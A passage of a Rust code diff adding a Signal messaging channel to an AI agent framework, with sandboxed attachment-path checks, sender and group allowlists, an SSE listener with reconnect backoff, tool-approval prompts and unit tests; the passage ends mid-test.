+ "account": &self.config.account, + }); + if let Some(msg) = message { + params["message"] = serde_json::Value::String(msg.to_string()); + } + if let Some(attachments) = attachments + && !attachments.is_empty() + { + params["attachments"] = serde_json::Value::Array( + attachments + .iter() + .map(|s| serde_json::Value::String(s.clone())) + .collect(), + ); + } + params + } + RecipientTarget::Group(group_id) => { + let mut params = serde_json::json!({ + "groupId": group_id, + "account": &self.config.account, + }); + if let Some(msg) = message { + params["message"] = serde_json::Value::String(msg.to_string()); + } + if let Some(attachments) = attachments + && !attachments.is_empty() + { + params["attachments"] = serde_json::Value::Array( + attachments + .iter() + .map(|s| serde_json::Value::String(s.clone())) + .collect(), + ); + } + params + } + } + } + + /// Validate that attachment paths are safe and within the sandbox. + /// Uses the shared path validation logic from path_utils to ensure: + /// - No path traversal attacks (../, URL-encoded, null bytes) + /// - Paths are canonicalized and symlinks resolved + /// - All paths are within ~/.ironclaw/ sandbox + fn validate_attachment_paths(paths: &[String]) -> Result<(), ChannelError> { + // Get the sandbox base directory (same as MessageTool uses) + let base_dir = ironclaw_base_dir(); + + for path in paths { + crate::tools::builtin::path_utils::validate_path(path, Some(&base_dir)).map_err( + |e| { + ChannelError::InvalidMessage(format!( + "Attachment path must be within {}: {}", + base_dir.display(), + e + )) + }, + )?; + } + Ok(()) + } + + /// Send a message with attachments (if any). + /// Combines text and attachments into a single RPC call when both are present. + async fn send_with_attachments( + &self, + target: &RecipientTarget, + content: &str, + attachments: &[String], + ) -> Result<(), ChannelError> { + Self::validate_attachment_paths(attachments)?; + + if attachments.is_empty() { + let params = self.build_rpc_params(target, Some(content), None); + self.rpc_request("send", params).await?; + } else if content.is_empty() { + // Attachments only - send all in a single call with no message text + let params = self.build_rpc_params(target, None, Some(attachments)); + self.rpc_request("send", params).await?; + } else { + // Both text and attachments - send in a single RPC call + let params = self.build_rpc_params(target, Some(content), Some(attachments)); + self.rpc_request("send", params).await?; + } + Ok(()) + } + + /// Build JSON-RPC params for a send/typing call (static version). + fn build_rpc_params_static( + _http_url: &str, + account: &str, + target: &RecipientTarget, + message: Option<&str>, + attachments: Option<&[String]>, + ) -> serde_json::Value { + match target { + RecipientTarget::Direct(id) => { + let mut params = serde_json::json!({ + "recipient": [id], + "account": account, + }); + if let Some(msg) = message { + params["message"] = serde_json::Value::String(msg.to_string()); + } + if let Some(attachments) = attachments + && !attachments.is_empty() + { + params["attachments"] = serde_json::Value::Array( + attachments + .iter() + .map(|s| serde_json::Value::String(s.clone())) + .collect(), + ); + } + params + } + RecipientTarget::Group(group_id) => { + let mut params = serde_json::json!({ + "groupId": group_id, + "account": account, + }); + if let Some(msg) = message { + params["message"] = serde_json::Value::String(msg.to_string()); + } + if let Some(attachments) = attachments + && !attachments.is_empty() + { + params["attachments"] = serde_json::Value::Array( + attachments + .iter() + .map(|s| serde_json::Value::String(s.clone())) + .collect(), + ); + } + params + } + } + } + + /// Process a single SSE envelope, returning an `IncomingMessage` if valid. + fn process_envelope(&self, envelope: &Envelope) -> Option<(IncomingMessage, String)> { + // Skip story messages when configured. + if self.config.ignore_stories && envelope.story_message.is_some() { + tracing::debug!("Signal: dropping story message"); + return None; + } + + let data_msg = envelope.data_message.as_ref()?; + + // Skip attachment-only messages when configured. + let has_attachments = data_msg.attachments.as_ref().is_some_and(|a| !a.is_empty()); + let has_message_text = data_msg.message.as_ref().is_some_and(|m| !m.is_empty()); + if self.config.ignore_attachments && has_attachments && !has_message_text { + tracing::debug!("Signal: dropping attachment-only message"); + return None; + } + + // Use message text, or fall back to "[Attachment]" for attachment-only messages + // when ignore_attachments is false. This ensures attachment-only messages are + // still processed when the user wants them (rather than always being dropped). + let text = data_msg + .message + .as_deref() + .filter(|t| !t.is_empty()) + .map(String::from) + .or_else(|| { + if has_attachments { + Some("[Attachment]".to_string()) + } else { + None + } + })?; + let sender = Self::sender(envelope)?; + + // Log sender info including UUID if available + tracing::debug!( + sender = %sender, + uuid = ?envelope.source_uuid, + "Signal: received message" + ); + + // Check if this is a group message + let is_group = data_msg + .group_info + .as_ref() + .and_then(|g| g.group_id.as_deref()) + .is_some(); + + // Apply group policy first (before DM policy for group messages) + if is_group { + match self.config.group_policy.as_str() { + "disabled" => { + tracing::debug!("Signal: group messages disabled, dropping"); + return None; + } + "open" => { + // For "open" policy, check group allowlist but not sender allowlist + if let Some(group_id) = data_msg + .group_info + .as_ref() + .and_then(|g| g.group_id.as_deref()) + && !self.is_group_allowed(group_id) + { + tracing::debug!( + group_id = %group_id, + "Signal: group not in allow_from_groups, dropping" + ); + return None; + } + } + "allowlist" => { + // Default to allowlist - check group AND sender + if let Some(group_id) = data_msg + .group_info + .as_ref() + .and_then(|g| g.group_id.as_deref()) + { + if !self.is_group_allowed(group_id) { + tracing::debug!( + group_id = %group_id, + "Signal: group not in allow_from_groups, dropping" + ); + return None; + } + // Also check sender is allowed for group + if !self.is_group_sender_allowed(&sender) { + tracing::debug!( + sender = %sender, + group_id = %group_id, + "Signal: sender not in group_allow_from, dropping" + ); + return None; + } + } + } + _ => {} + } + } else { + // DM message - apply DM policy + match self.config.dm_policy.as_str() { + "open" => {} + "pairing" => { + // Pairing policy: check allow_from + pairing store + if !self.is_sender_allowed_with_pairing(&sender) { + // Handle pairing request - this will create a request and send reply if new + match self.handle_pairing_request(&sender, envelope.source_name.as_deref()) + { + Ok(_) => { + // Pairing request processed (new or existing), drop the message + return None; + } + Err(()) => { + // Error processing pairing, drop message + return None; + } + } + } + } + "allowlist" => { + // Default: check allow_from list + if !self.is_sender_allowed(&sender) { + tracing::debug!(sender = %sender, "Signal: sender not in allow_from, dropping"); + return None; + } + } + _ => {} + } + } + + let target = Self::reply_target(data_msg, &sender); + + let timestamp = data_msg + .timestamp + .or(envelope.timestamp) + .unwrap_or_else(|| { + u64::try_from( + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_millis(), + ) + .unwrap_or(u64::MAX) + }); + + // Build metadata with signal-specific routing info. + let sender_uuid = envelope.source_uuid.as_deref(); + let metadata = serde_json::json!({ + "signal_sender": &sender, + "signal_sender_uuid": sender_uuid, + "signal_target": &target, + "signal_timestamp": timestamp, + }); + + let mut msg = IncomingMessage::new("signal", &sender, text).with_metadata(metadata); + + // Use sourceName as display name if available. + if let Some(ref name) = envelope.source_name + && !name.is_empty() + { + msg = msg.with_user_name(name); + } + + // Use a deterministic UUID as thread_id for all conversations. + // This ensures DMs and groups continue the same thread AND work with + // maybe_hydrate_thread, enabling conversation history persistence. + // Priority: source_uuid > generated UUID from phone/group + if data_msg.group_info.is_some() { + // For groups, use the group ID to generate a deterministic UUID + msg = msg.with_thread(Self::thread_id_from_identifier(&target)); + } else if let Some(ref uuid) = envelope.source_uuid { + // Privacy mode users already have a UUID + msg = msg.with_thread(uuid.clone()); + } else { + // For regular DMs, generate a deterministic UUID from the phone number + msg = msg.with_thread(Self::thread_id_from_identifier(&sender)); + } + + Some((msg, target)) + } +} + +#[async_trait] +impl Channel for SignalChannel { + fn name(&self) -> &str { + "signal" + } + + async fn start(&self) -> Result { + let (tx, rx) = tokio::sync::mpsc::channel(256); + + let config = self.config.clone(); + let client = self.client.clone(); + let reply_targets = Arc::clone(&self.reply_targets); + let debug_mode = Arc::clone(&self.debug_mode); + + tokio::spawn(async move { + if let Err(e) = sse_listener(config, client, tx, reply_targets, debug_mode).await { + tracing::error!("Signal SSE listener exited with error: {e}"); + } + }); + + // Log the URL with credentials redacted (if any). + let safe_url = Self::redact_url(&self.config.http_url); + tracing::info!( + url = %safe_url, + "Signal channel started" + ); + + Ok(Box::pin(tokio_stream::wrappers::ReceiverStream::new(rx))) + } + + async fn respond( + &self, + msg: &IncomingMessage, + response: OutgoingResponse, + ) -> Result<(), ChannelError> { + // Resolve reply target from stored metadata. + let target_str = { + let targets = self.reply_targets.read().await; + targets.peek(&msg.id).cloned() + } + .or_else(|| { + // Fall back to metadata if not in the map. + msg.metadata + .get("signal_target") + .and_then(|v| v.as_str()) + .map(String::from) + }) + .unwrap_or_else(|| msg.user_id.clone()); + + let target = Self::parse_recipient_target(&target_str); + + // Use shared helper for sending with attachments (includes validation) + let result = self + .send_with_attachments(&target, &response.content, &response.attachments) + .await; + + // Clean up stored target regardless of success or failure. + self.reply_targets.write().await.pop(&msg.id); + + result + } + + async fn send_status( + &self, + status: StatusUpdate, + metadata: &serde_json::Value, + ) -> Result<(), ChannelError> { + // Send typing indicator for thinking status. + if matches!(status, StatusUpdate::Thinking(_)) + && let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str()) + { + let target = Self::parse_recipient_target(target_str); + let params = self.build_rpc_params(&target, None, None); + let _ = self.rpc_request("sendTyping", params).await; + } + + // Send approval prompt to user + if let StatusUpdate::ApprovalNeeded { + request_id, + tool_name, + description: _, + parameters, + } = &status + && let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str()) + { + let params_json = serde_json::to_string_pretty(parameters).unwrap_or_default(); + let message = format!( + "⚠️ *Approval Required*\n\n\ + *Request ID:* `{}`\n\ + *Tool:* {}\n\ + *Parameters:*\n```\n{}\n```\n\n\ + Reply with:\n\ + • `yes` or `y` - Approve this request\n\ + • `always` or `a` - Approve and auto-approve future {} requests\n\ + • `no` or `n` - Deny", + request_id, tool_name, params_json, tool_name + ); + self.send_status_message(target_str, &message).await; + } + + // Filter out well-known UX/terminal status messages to avoid redundant updates. + let should_forward_status = |msg: &str| { + let normalized = msg.trim(); + !normalized.eq_ignore_ascii_case("done") + && !normalized.eq_ignore_ascii_case("awaiting approval") + && !normalized.eq_ignore_ascii_case("rejected") + }; + // Filter/send status messages + if let StatusUpdate::Status(msg) = &status + && let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str()) + && should_forward_status(msg) + { + self.send_status_message(target_str, msg).await; + } + + // Send tool result previews to user (debug mode only) + if self.is_debug() + && let StatusUpdate::ToolResult { name, preview } = &status + && let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str()) + { + let truncated = if preview.chars().count() > 500 { + let s: String = preview.chars().take(500).collect(); + format!("{s}...") + } else { + preview.clone() + }; + let message = format!("Tool '{}' result:\n{}", name, truncated); + self.send_status_message(target_str, &message).await; + } + + // Send tool started notification (debug mode only) + if self.is_debug() + && let StatusUpdate::ToolStarted { name } = &status + && let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str()) + { + let message = format!("\u{25CB} Running tool: {}", name); + self.send_status_message(target_str, &message).await; + } + + // Send tool completed notification (debug mode only) + if self.is_debug() + && let StatusUpdate::ToolCompleted { name, success, .. } = &status + && let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str()) + { + let (icon, color) = if *success { + ("\u{25CF}", "success") + } else { + ("\u{2717}", "failed") + }; + let message = format!("{} Tool '{}' completed ({})", icon, name, color); + self.send_status_message(target_str, &message).await; + } + + // Send job started notification (sandbox jobs) + if let StatusUpdate::JobStarted { + job_id, + title, + browse_url, + } = &status + && let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str()) + { + let message = format!( + "\u{1F680} Job started: {}\nID: {}\nURL: {}", + title, job_id, browse_url + ); + self.send_status_message(target_str, &message).await; + } + + // Send auth required notification + if let StatusUpdate::AuthRequired { + extension_name, + instructions, + auth_url, + setup_url, + } = &status + && let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str()) + { + let mut message = format!("\u{1F512} Authentication required for: {}", extension_name); + if let Some(instr) = instructions { + message.push_str(&format!("\n\n{}", instr)); + } + if let Some(url) = auth_url { + message.push_str(&format!("\n\nAuth URL: {}", url)); + } + if let Some(url) = setup_url { + message.push_str(&format!("\nSetup URL: {}", url)); + } + self.send_status_message(target_str, &message).await; + } + + // Send auth completed notification + if let StatusUpdate::AuthCompleted { + extension_name, + success, + message: msg, + } = &status + && let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str()) + { + let icon = if *success { "\u{2705}" } else { "\u{274C}" }; + let mut message = format!( + "{} Authentication {} for {}", + icon, + if *success { "completed" } else { "failed" }, + extension_name + ); + if !msg.is_empty() { + message.push_str(&format!("\n{}", msg)); + } + self.send_status_message(target_str, &message).await; + } + + Ok(()) + } + + async fn broadcast( + &self, + user_id: &str, + response: OutgoingResponse, + ) -> Result<(), ChannelError> { + let target = Self::parse_recipient_target(user_id); + + // Use shared helper for sending with attachments (includes validation) + self.send_with_attachments(&target, &response.content, &response.attachments) + .await + } + + async fn health_check(&self) -> Result<(), ChannelError> { + let url = format!("{}{}", self.config.http_url, SIGNAL_HEALTH_ENDPOINT); + let resp = self + .client + .get(&url) + .timeout(Duration::from_secs(10)) + .send() + .await + .map_err(|e| ChannelError::HealthCheckFailed { + name: format!("signal ({}): {e}", Self::redact_url(&url)), + })?; + + if resp.status().is_success() { + Ok(()) + } else { + Err(ChannelError::HealthCheckFailed { + name: format!("signal: HTTP {}", resp.status()), + }) + } + } + + fn conversation_context( + &self, + metadata: &serde_json::Value, + ) -> std::collections::HashMap { + use std::collections::HashMap; + let mut ctx = HashMap::new(); + + if let Some(sender) = metadata.get("signal_sender").and_then(|v| v.as_str()) { + ctx.insert("sender".to_string(), sender.to_string()); + } + if let Some(sender_uuid) = metadata.get("signal_sender_uuid").and_then(|v| v.as_str()) { + ctx.insert("sender_uuid".to_string(), sender_uuid.to_string()); + } + if let Some(target) = metadata.get("signal_target").and_then(|v| v.as_str()) + && target.starts_with("group:") + { + ctx.insert("group".to_string(), target.to_string()); + } + + ctx + } +} + +impl SignalChannel { + async fn send_status_message(&self, target: &str, message: &str) { + let target = Self::parse_recipient_target(target); + let params = self.build_rpc_params(&target, Some(message), None); + if let Err(e) = self.rpc_request("send", params).await { + tracing::warn!("Signal: failed to send status message: {}", e); + } + } +} + +/// Long-running SSE listener that reconnects with exponential backoff. +async fn sse_listener( + config: SignalConfig, + client: Client, + tx: tokio::sync::mpsc::Sender, + reply_targets: Arc>>, + debug_mode: Arc, +) -> Result<(), ChannelError> { + let channel = SignalChannel::from_parts( + config, + client, + Arc::clone(&reply_targets), + Arc::clone(&debug_mode), + ); + + let mut url = reqwest::Url::parse(&format!("{}/api/v1/events", channel.config.http_url)) + .map_err(|e| ChannelError::StartupFailed { + name: "signal".to_string(), + reason: format!("Invalid SSE URL: {e}"), + })?; + url.query_pairs_mut() + .append_pair("account", &channel.config.account); + + let mut retry_delay = Duration::from_secs(2); + let max_delay = Duration::from_secs(60); + + loop { + let resp = channel + .client + .get(url.clone()) + .header("Accept", "text/event-stream") + .send() + .await; + + let resp = match resp { + Ok(r) if r.status().is_success() => r, + Ok(r) => { + let status = r.status(); + let mut stream = r.bytes_stream(); + let mut bytes = Vec::new(); + let mut collected = 0usize; + while let Some(chunk) = stream.next().await { + let chunk = chunk.unwrap_or_default(); + let remaining = MAX_ERROR_LOG_BODY.saturating_sub(collected); + if remaining == 0 { + break; + } + bytes.extend_from_slice(&chunk[..chunk.len().min(remaining)]); + collected = bytes.len(); + if collected >= MAX_ERROR_LOG_BODY { + break; + } + } + let body = String::from_utf8_lossy(&bytes); + tracing::warn!("Signal SSE returned {status}: {body}"); + tokio::time::sleep(retry_delay).await; + retry_delay = (retry_delay * 2).min(max_delay); + continue; + } + Err(e) => { + let safe_url = SignalChannel::redact_url(url.as_str()); + tracing::warn!("Signal SSE connect error to {safe_url}: {e}, retrying..."); + tokio::time::sleep(retry_delay).await; + retry_delay = (retry_delay * 2).min(max_delay); + continue; + } + }; + + // Connection succeeded — reset backoff. + retry_delay = Duration::from_secs(2); + tracing::info!("Signal SSE connected"); + + let mut bytes_stream = resp.bytes_stream(); + let mut buffer = String::with_capacity(8192); + let mut current_data = String::with_capacity(4096); + // Holds trailing bytes from the previous chunk that form an incomplete + // multi-byte UTF-8 sequence. At most 3 bytes (the longest incomplete + // leading sequence for a 4-byte character). + let mut utf8_carry: Vec = Vec::with_capacity(4); + + while let Some(chunk) = bytes_stream.next().await { + let chunk = match chunk { + Ok(c) => c, + Err(e) => { + tracing::debug!("Signal SSE chunk error, reconnecting: {e}"); + break; + } + }; + + // Prepend any leftover bytes from the previous chunk. + let decode_buf = if utf8_carry.is_empty() { + chunk.to_vec() + } else { + let mut combined = std::mem::take(&mut utf8_carry); + combined.extend_from_slice(&chunk); + combined + }; + + // Decode as much valid UTF-8 as possible, carrying over any + // incomplete trailing sequence to the next iteration. + let (valid_len, carry_start) = match std::str::from_utf8(&decode_buf) { + Ok(_) => (decode_buf.len(), decode_buf.len()), + Err(e) => { + let valid_up_to = e.valid_up_to(); + match e.error_len() { + Some(bad_len) => { + // Genuinely invalid byte sequence (not just incomplete). + // Skip the bad byte(s) and keep going with what we have. + tracing::debug!( + "Signal SSE invalid UTF-8 byte at offset {valid_up_to}, \ + skipping" + ); + // Advance past the bad byte(s); remaining data (if any) + // will be carried over to the next chunk. + (valid_up_to, valid_up_to + bad_len) + } + None => { + // Incomplete multi-byte sequence at the end – carry it over. + (valid_up_to, valid_up_to) + } + } + } + }; + + use std::borrow::Cow; + + debug_assert!( + std::str::from_utf8(&decode_buf[..valid_len]).is_ok(), + "valid_len {} should be a valid UTF-8 boundary (buffer len: {})", + valid_len, + decode_buf.len() + ); + + let text: Cow = match std::str::from_utf8(&decode_buf[..valid_len]) { + Ok(s) => Cow::Borrowed(s), + Err(_) => { + tracing::warn!( + "Signal SSE: unexpected invalid UTF-8 boundary at valid_len {}, \ + falling back to lossy conversion", + valid_len + ); + Cow::Owned(String::from_utf8_lossy(&decode_buf[..valid_len]).into_owned()) + } + }; + + if buffer.len() + text.len() > MAX_SSE_BUFFER_SIZE { + tracing::warn!( + "Signal SSE buffer overflow, resetting: buffer_len={} text_len={} max={}", + buffer.len(), + text.len(), + MAX_SSE_BUFFER_SIZE + ); + buffer.clear(); + utf8_carry.clear(); + current_data.clear(); + continue; + } + buffer.push_str(&text); + + // Preserve any trailing incomplete bytes for the next chunk. + if carry_start < decode_buf.len() { + utf8_carry.extend_from_slice(&decode_buf[carry_start..]); + } + + while let Some(newline_pos) = buffer.find('\n') { + let line = buffer[..newline_pos].trim_end_matches('\r').to_string(); + buffer.drain(..=newline_pos); + + // Skip SSE comments (keepalive). + if line.starts_with(':') { + continue; + } + + if line.is_empty() { + // Empty line = event boundary, dispatch accumulated data. + if !current_data.is_empty() { + match serde_json::from_str::(¤t_data) { + Ok(sse) => { + if let Some(ref envelope) = sse.envelope + && let Some((msg, target)) = channel.process_envelope(envelope) + { + // Handle /debug command locally (same as REPL). + let content_lower = msg.content.trim().to_lowercase(); + if content_lower == "/debug" { + let new_state = channel.toggle_debug(); + let response = if new_state { + "Debug mode enabled. Tool execution will be shown in chat." + } else { + "Debug mode disabled. Tool execution will be hidden from chat." + }; + let reply_params = channel.build_rpc_params( + &SignalChannel::parse_recipient_target(&target), + Some(response), + None, + ); + let _ = channel.rpc_request("send", reply_params).await; + // Don't send the /debug command to the agent. + continue; + } + + // Store reply target for respond(). + // LruCache automatically evicts the + // least-recently-used entry when full. + { + let mut targets = reply_targets.write().await; + targets.put(msg.id, target); + } + if tx.send(msg).await.is_err() { + tracing::debug!("Signal SSE: receiver dropped, exiting"); + return Ok(()); + } + } + } + Err(e) => { + tracing::debug!("Signal SSE parse skip: {e}"); + } + } + current_data.clear(); + } + } else if let Some(data) = line.strip_prefix("data:") { + if current_data.len() + data.len() > MAX_SSE_EVENT_SIZE { + tracing::warn!("Signal SSE event too large, dropping"); + current_data.clear(); + continue; + } + if !current_data.is_empty() { + current_data.push('\n'); + } + current_data.push_str(data.trim_start()); + } + // Ignore "event:", "id:", "retry:" lines. + } + } + + // Process any trailing data before reconnect. + if !current_data.is_empty() + && let Ok(sse) = serde_json::from_str::(¤t_data) + && let Some(ref envelope) = sse.envelope + && let Some((msg, target)) = channel.process_envelope(envelope) + { + reply_targets.write().await.put(msg.id, target); + let _ = tx.send(msg).await; + } + + tracing::debug!("Signal SSE stream ended, reconnecting with backoff..."); + tokio::time::sleep(retry_delay).await; + retry_delay = std::cmp::min(retry_delay * 2, max_delay); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn make_config() -> SignalConfig { + SignalConfig { + http_url: "http://127.0.0.1:8686".to_string(), + account: "+1234567890".to_string(), + allow_from: vec!["+1111111111".to_string()], + allow_from_groups: vec![], + dm_policy: "allowlist".to_string(), + group_policy: "disabled".to_string(), + group_allow_from: vec![], + ignore_attachments: false, + ignore_stories: false, + } + } + + /// Create a config that allows a specific group (and all senders). + fn make_config_with_allowed_group(group_id: &str) -> SignalConfig { + SignalConfig { + http_url: "http://127.0.0.1:8686".to_string(), + account: "+1234567890".to_string(), + allow_from: vec!["*".to_string()], + allow_from_groups: vec![group_id.to_string()], + dm_policy: "allowlist".to_string(), + group_policy: "allowlist".to_string(), + group_allow_from: vec![], + ignore_attachments: true, + ignore_stories: true, + } + } + + fn make_channel() -> Result { + SignalChannel::new(make_config()) + } + + fn make_channel_with_allowed_group(group_id: &str) -> Result { + SignalChannel::new(make_config_with_allowed_group(group_id)) + } + + fn make_envelope(source_number: Option<&str>, message: Option<&str>) -> Envelope { + Envelope { + source: source_number.map(String::from), + source_number: source_number.map(String::from), + source_name: None, + source_uuid: None, + data_message: message.map(|m| DataMessage { + message: Some(m.to_string()), + timestamp: Some(1_700_000_000_000), + group_info: None, + attachments: None, + }), + story_message: None, + timestamp: Some(1_700_000_000_000), + } + } + + #[test] + fn creates_with_correct_fields() -> Result<(), ChannelError> { + let ch = make_channel()?; + assert_eq!(ch.config.http_url, "http://127.0.0.1:8686"); + assert_eq!(ch.config.account, "+1234567890"); + assert_eq!(ch.config.allow_from.len(), 1); + assert!(ch.config.allow_from_groups.is_empty()); + assert!(!ch.config.ignore_attachments); + assert!(!ch.config.ignore_stories); + Ok(()) + } + + #[test] + fn strips_trailing_slash() -> Result<(), ChannelError> { + let mut config = make_config(); + config.http_url = "http://127.0.0.1:8686/".to_string(); + let ch = SignalChannel::new(config)?; + assert_eq!(ch.config.http_url, "http://127.0.0.1:8686"); + Ok(()) + } + + #[test] + fn debug_mode_disabled_by_default() -> Result<(), ChannelError> { + let ch = make_channel()?; + assert!(!ch.is_debug()); + Ok(()) + } + + #[test] + fn debug_mode_toggle() -> Result<(), ChannelError> { + let ch = make_channel()?; + + // Initially disabled + assert!(!ch.is_debug()); + + // Toggle on + let new_state = ch.toggle_debug(); + assert!(new_state); + assert!(ch.is_debug()); + + // Toggle off + let new_state = ch.toggle_debug(); + assert!(!new_state); + assert!(!ch.is_debug()); + + Ok(()) + } + + #[test] + fn debug_mode_persists_across_toggles() -> Result<(), ChannelError> { + let ch = make_channel()?; + + // Multiple toggles + ch.toggle_debug(); + assert!(ch.is_debug()); + ch.toggle_debug(); + assert!(!ch.is_debug()); + ch.toggle_debug(); + assert!(ch.is_debug()); + ch.toggle_debug(); + assert!(!ch.is_debug()); + + Ok(()) + } + + #[test] + fn wildcard_allows_anyone() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + let ch = SignalChannel::new(config)?; + assert!(ch.is_sender_allowed("+9999999999")); + Ok(()) + } + + #[test] + fn specific_sender_allowed() -> Result<(), ChannelError> { + let ch = make_channel()?; + assert!(ch.is_sender_allowed("+1111111111")); + Ok(()) + } + + #[test] + fn unknown_sender_denied() -> Result<(), ChannelError> { + let ch = make_channel()?; + assert!(!ch.is_sender_allowed("+9999999999")); + Ok(()) + } + + #[test] + fn empty_allowlist_denies_all() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec![]; + let ch = SignalChannel::new(config)?; + assert!(!ch.is_sender_allowed("+1111111111")); + Ok(()) + } + + #[test] + fn uuid_prefix_in_allowlist() -> Result<(), ChannelError> { + let uuid = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"; + let mut config = make_config(); + config.allow_from = vec![format!("uuid:{uuid}")]; + let ch = SignalChannel::new(config)?; + assert!(ch.is_sender_allowed(uuid)); + // Should not match phone numbers. + assert!(!ch.is_sender_allowed("+1111111111")); + Ok(()) + } + + #[test] + fn bare_uuid_in_allowlist() -> Result<(), ChannelError> { + let uuid = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"; + let mut config = make_config(); + config.allow_from = vec![uuid.to_string()]; + let ch = SignalChannel::new(config)?; + assert!(ch.is_sender_allowed(uuid)); + Ok(()) + } + + #[test] + fn group_allowlist_filtering() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + config.allow_from_groups = vec!["group123".to_string()]; + let ch = SignalChannel::new(config)?; + assert!(ch.is_group_allowed("group123")); + assert!(!ch.is_group_allowed("other_group")); + Ok(()) + } + + #[test] + fn group_allowlist_wildcard() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from_groups = vec!["*".to_string()]; + let ch = SignalChannel::new(config)?; + assert!(ch.is_group_allowed("any_group")); + Ok(()) + } + + #[test] + fn group_allowlist_empty_denies_all() -> Result<(), ChannelError> { + let mut config = make_config(); + config.allow_from_groups = vec![]; + let ch = SignalChannel::new(config)?; + assert!(!ch.is_group_allowed("any_group")); + Ok(()) + } + + #[test] + fn name_returns_signal() -> Result<(), ChannelError> { + let ch = make_channel()?; + assert_eq!(ch.name(), "signal"); + Ok(()) + } + + #[test] + fn process_envelope_dm_accepted_with_empty_allow_from_groups() -> Result<(), ChannelError> { + // Empty allow_from_groups = DMs only. DMs should be accepted. + let ch = make_channel()?; + let env = make_envelope(Some("+1111111111"), Some("Hello!")); + assert!(ch.process_envelope(&env).is_some()); + Ok(()) + } + + #[test] + fn process_envelope_group_denied_with_empty_allow_from_groups() -> Result<(), ChannelError> { + // Empty allow_from_groups = DMs only. Group messages should be denied. + let mut config = make_config(); + config.allow_from = vec!["*".to_string()]; + let ch = SignalChannel::new(config)?; + + let env = Envelope { + source: Some("+1111111111".to_string()), + source_number: Some("+1111111111".to_string()), + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: Some("hi".to_string()), + timestamp: Some(1000), + group_info: Some(GroupInfo { + group_id: Some("group123".to_string()), + }), + attachments: None, + }), + story_message: None, + timestamp: Some(1000), + }; + assert!(ch.process_envelope(&env).is_none()); + Ok(()) + } + + #[test] + fn process_envelope_group_accepted_when_in_allow_from_groups() -> Result<(), ChannelError> { + let ch = make_channel_with_allowed_group("group123")?; + + let env = Envelope { + source: Some("+1111111111".to_string()), + source_number: Some("+1111111111".to_string()), + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: Some("hi".to_string()), + timestamp: Some(1000), + group_info: Some(GroupInfo { + group_id: Some("group123".to_string()), + }), + attachments: None, + }), + story_message: None, + timestamp: Some(1000), + }; + assert!(ch.process_envelope(&env).is_some()); + + // Different group should be denied. + let env2 = Envelope { + source: Some("+1111111111".to_string()), + source_number: Some("+1111111111".to_string()), + source_name: None, + source_uuid: None, + data_message: Some(DataMessage { + message: Some("hi".to_string()), + timestamp: Some(1000), + group_info: Some(GroupInfo { + group_id: Some("other_group".to_string()), + }), + attachments: None, + }), + story_message: None, + timestamp: Some(1000), + }; + assert!(ch.process_envelope(&env2).is_none()); + Ok(()) + } + + #[test] + fn reply_target_dm() { + let dm = DataMessage { + message: Some("hi".to_string()), + timestamp: Some(1000), + group_info: None, + attachments: None, + }; + assert_eq!( + SignalChannel::reply_target(&dm, "+1111111111"), + "+1111111111" + ); + } + + #[test] + fn reply_target_group() { + let group = DataMessage { + message: Some("hi".to_string()), + timestamp: Some(1000), + group_info: Some(GroupInfo { + group_id: Some("group123".to_string()), + }), + attachments: None, + }; + assert_eq!( + SignalChannel::reply_target(&group, "+1111111111"), + "group:group123" + ); + } + + #[test] + fn parse_recipient_target_e164_is_direct() { + assert_eq!( + SignalChannel::parse_recipient_target("+1234567890"), + RecipientTarget::Direct("+1234567890".to_string()) + ); + } + + #[test] + fn parse_recipient_target_prefixed_group_is_group() { + assert_eq!( + SignalChannel::parse_recipient_target("group:abc123"), + RecipientTarget::Group("abc123".to_string()) + ); + } + + #[test] + fn parse_recipient_target_uuid_is_direct() { + let uuid = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"; + assert_eq!( + SignalChannel::parse_recipient_target(uuid), + RecipientTarget::Direct(uuid.to_string()) + ); + } + + #[test] + fn parse_recipient_target_non_e164_plus_is_group() { + assert_eq!( + SignalChannel::parse_recipient_target("+abc123"), + RecipientTarget::Group("+abc123".to_string()) + ); + } + + #[test] + fn is_uuid_valid() { + assert!(SignalChannel::is_uuid( + "a1b2c3d4-e5f6-7890-abcd-ef1234567890" + )); + assert!(SignalChannel::is_uuid( + "00000000-0000-0000-0000-000000000000" + )); + } + + #[test] + fn is_uuid_invalid() { + assert!(!SignalChannel::is_uuid("+1234567890")); + assert!(!SignalChannel::is_uuid("not-a-uuid")); + assert!(!SignalChannel::is_uuid("group:abc123")); + assert!(!SignalChannel::is_uuid("")); + } + + #[test] + fn thread_id_from_identifier_is_deterministic() { + let id1 = SignalChannel::thread_id_from_identifier("+1234567890"); + let id2 = SignalChannel::thread_id_from_identifier("+1234567890"); + assert_eq!(id1, id2, "same input should produce same UUID"); + } + + #[test] + fn thread_id_from_identifier_is_valid_uuid() { + let id = SignalChannel::thread_id_from_identifier("+1234567890"); + assert!(Uuid::parse_str(&id).is_ok(), "should be a valid UUID"); + } + + #[test] + fn thread_id_from_identifier_different_inputs() { + let id1 = SignalChannel::thread_id_from_identifier("+1234567890"); + let id2 = SignalChannel::thread_id_from_identifier("+9876543210"); + assert_ne!(id1, id2, "different inputs should produce different UUIDs"); + } + + #[test] + fn sender_prefers_source_number() { + let env = Envelope { + source: Some("uuid-123".to_string()), + source_number: Some("+1111111111".to_string()), + source_name: None, + source_uuid: None, + data_message: None, + story_message: None, + timestamp: Some(1000), + }; + assert_eq!(SignalChannel::sender(&env), 